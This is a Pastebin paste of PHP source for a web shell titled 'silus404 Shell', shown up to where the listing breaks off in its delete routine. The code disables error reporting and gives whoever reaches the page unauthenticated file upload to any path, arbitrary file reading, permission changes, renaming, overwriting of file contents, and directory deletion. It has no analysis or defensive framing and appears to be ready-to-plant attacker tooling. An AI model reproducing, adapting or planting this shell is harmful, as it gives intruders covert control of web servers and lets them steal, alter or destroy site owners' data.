Advertisement
sulis14

Sulis

Feb 12th, 2023 (edited)
256
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 4.05 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <html>
  12. <head>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>silus404 Shell</title>
  15. <style>
  16. body{
  17. font-family: "Racing Sans One", cursive;
  18. background-color: black;
  19. color:white;
  20. }
  21. #content tr:hover{
  22. background-color: blue;
  23. text-shadow:0px 0px 10px #fff;
  24. }
  25. #content .first{
  26. background-color: blue;
  27. }
  28. table{
  29. border: 1px #000000 dotted;
  30. }
  31. a{
  32. color:white;
  33. text-decoration: none;
  34. }
  35. a:hover{
  36. color:blue;
  37. text-shadow:0px 0px 10px #ffffff;
  38. }
  39. input,select,textarea{
  40. border: 1px #000000 solid;
  41. -moz-border-radius: 5px;
  42. -webkit-border-radius:5px;
  43. border-radius:5px;
  44. }
  45. </style>
  46. </head>
  47. <body>
  48. <h1><center><font color="aqua">silus404 Shell</font></center></h1>
  49. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  50. <tr><td><font color="red">Path :</font> ';
  51. if(isset($_GET['path'])){
  52. $path = $_GET['path'];
  53. }else{
  54. $path = getcwd();
  55. }
  56. $path = str_replace('\\','/',$path);
  57. $paths = explode('/',$path);
  58.  
  59. foreach($paths as $id=>$pat){
  60. if($pat == '' && $id == 0){
  61. $a = true;
  62. echo '<a href="?path=/">/</a>';
  63. continue;
  64. }
  65. if($pat == '') continue;
  66. echo '<a href="?path=';
  67. for($i=0;$i<=$id;$i++){
  68. echo "$paths[$i]";
  69. if($i != $id) echo "/";
  70. }
  71. echo '">'.$pat.'</a>/';
  72. }
  73. echo '</td></tr><tr><td>';
  74. if(isset($_FILES['file'])){
  75. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  76. echo '<font color="green">Upload Berhasil</font><br />';
  77. }else{
  78. echo '<font color="red">Upload Gagal</font><br/>';
  79. }
  80. }
  81. echo '<form enctype="multipart/form-data" method="POST">
  82. <font color="white">File Upload :</font> <input type="file" name="file" />
  83. <input type="submit" value="upload" />
  84. </form>
  85. </td></tr>';
  86. if(isset($_GET['filesrc'])){
  87. echo "<tr><td>Current File : ";
  88. echo $_GET['filesrc'];
  89. echo '</tr></td></table><br />';
  90. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  91. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  92. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  93. if($_POST['opt'] == 'chmod'){
  94. if(isset($_POST['perm'])){
  95. if(chmod($_POST['path'],$_POST['perm'])){
  96. echo '<font color="green">Change Permission Berhasil</font><br/>';
  97. }else{
  98. echo '<font color="red">Change Permission Gagal</font><br />';
  99. }
  100. }
  101. echo '<form method="POST">
  102. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  103. <input type="hidden" name="path" value="'.$_POST['path'].'">
  104. <input type="hidden" name="opt" value="chmod">
  105. <input type="submit" value="Go" />
  106. </form>';
  107. }elseif($_POST['opt'] == 'rename'){
  108. if(isset($_POST['newname'])){
  109. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  110. echo '<font color="green">Ganti Nama Berhasil</font><br/>';
  111. }else{
  112. echo '<font color="red">Ganti Nama Gagal</font><br />';
  113. }
  114. $_POST['name'] = $_POST['newname'];
  115. }
  116. echo '<form method="POST">
  117. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  118. <input type="hidden" name="path" value="'.$_POST['path'].'">
  119. <input type="hidden" name="opt" value="rename">
  120. <input type="submit" value="Go" />
  121. </form>';
  122. }elseif($_POST['opt'] == 'edit'){
  123. if(isset($_POST['src'])){
  124. $fp = fopen($_POST['path'],'w');
  125. if(fwrite($fp,$_POST['src'])){
  126. echo '<font color="green">Berhasil Edit File</font><br/>';
  127. }else{
  128. echo '<font color="red">Gagal Edit File</font><br/>';
  129. }
  130. fclose($fp);
  131. }
  132. echo '<form method="POST">
  133. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  134. <input type="hidden" name="path" value="'.$_POST['path'].'">
  135. <input type="hidden" name="opt" value="edit">
  136. <input type="submit" value="Save" />
  137. </form>';
  138. }
  139. echo '</center>';
  140. }else{
  141. echo '</table><br/><center>';
  142. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  143. if($_POST['type'] == 'dir'){
  144. if(rmdir($_POST['path'])){
  145. echo '<font color="green">Directory Terhapus</font><br/>';
  146. }else{
  147. echo '<font color
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement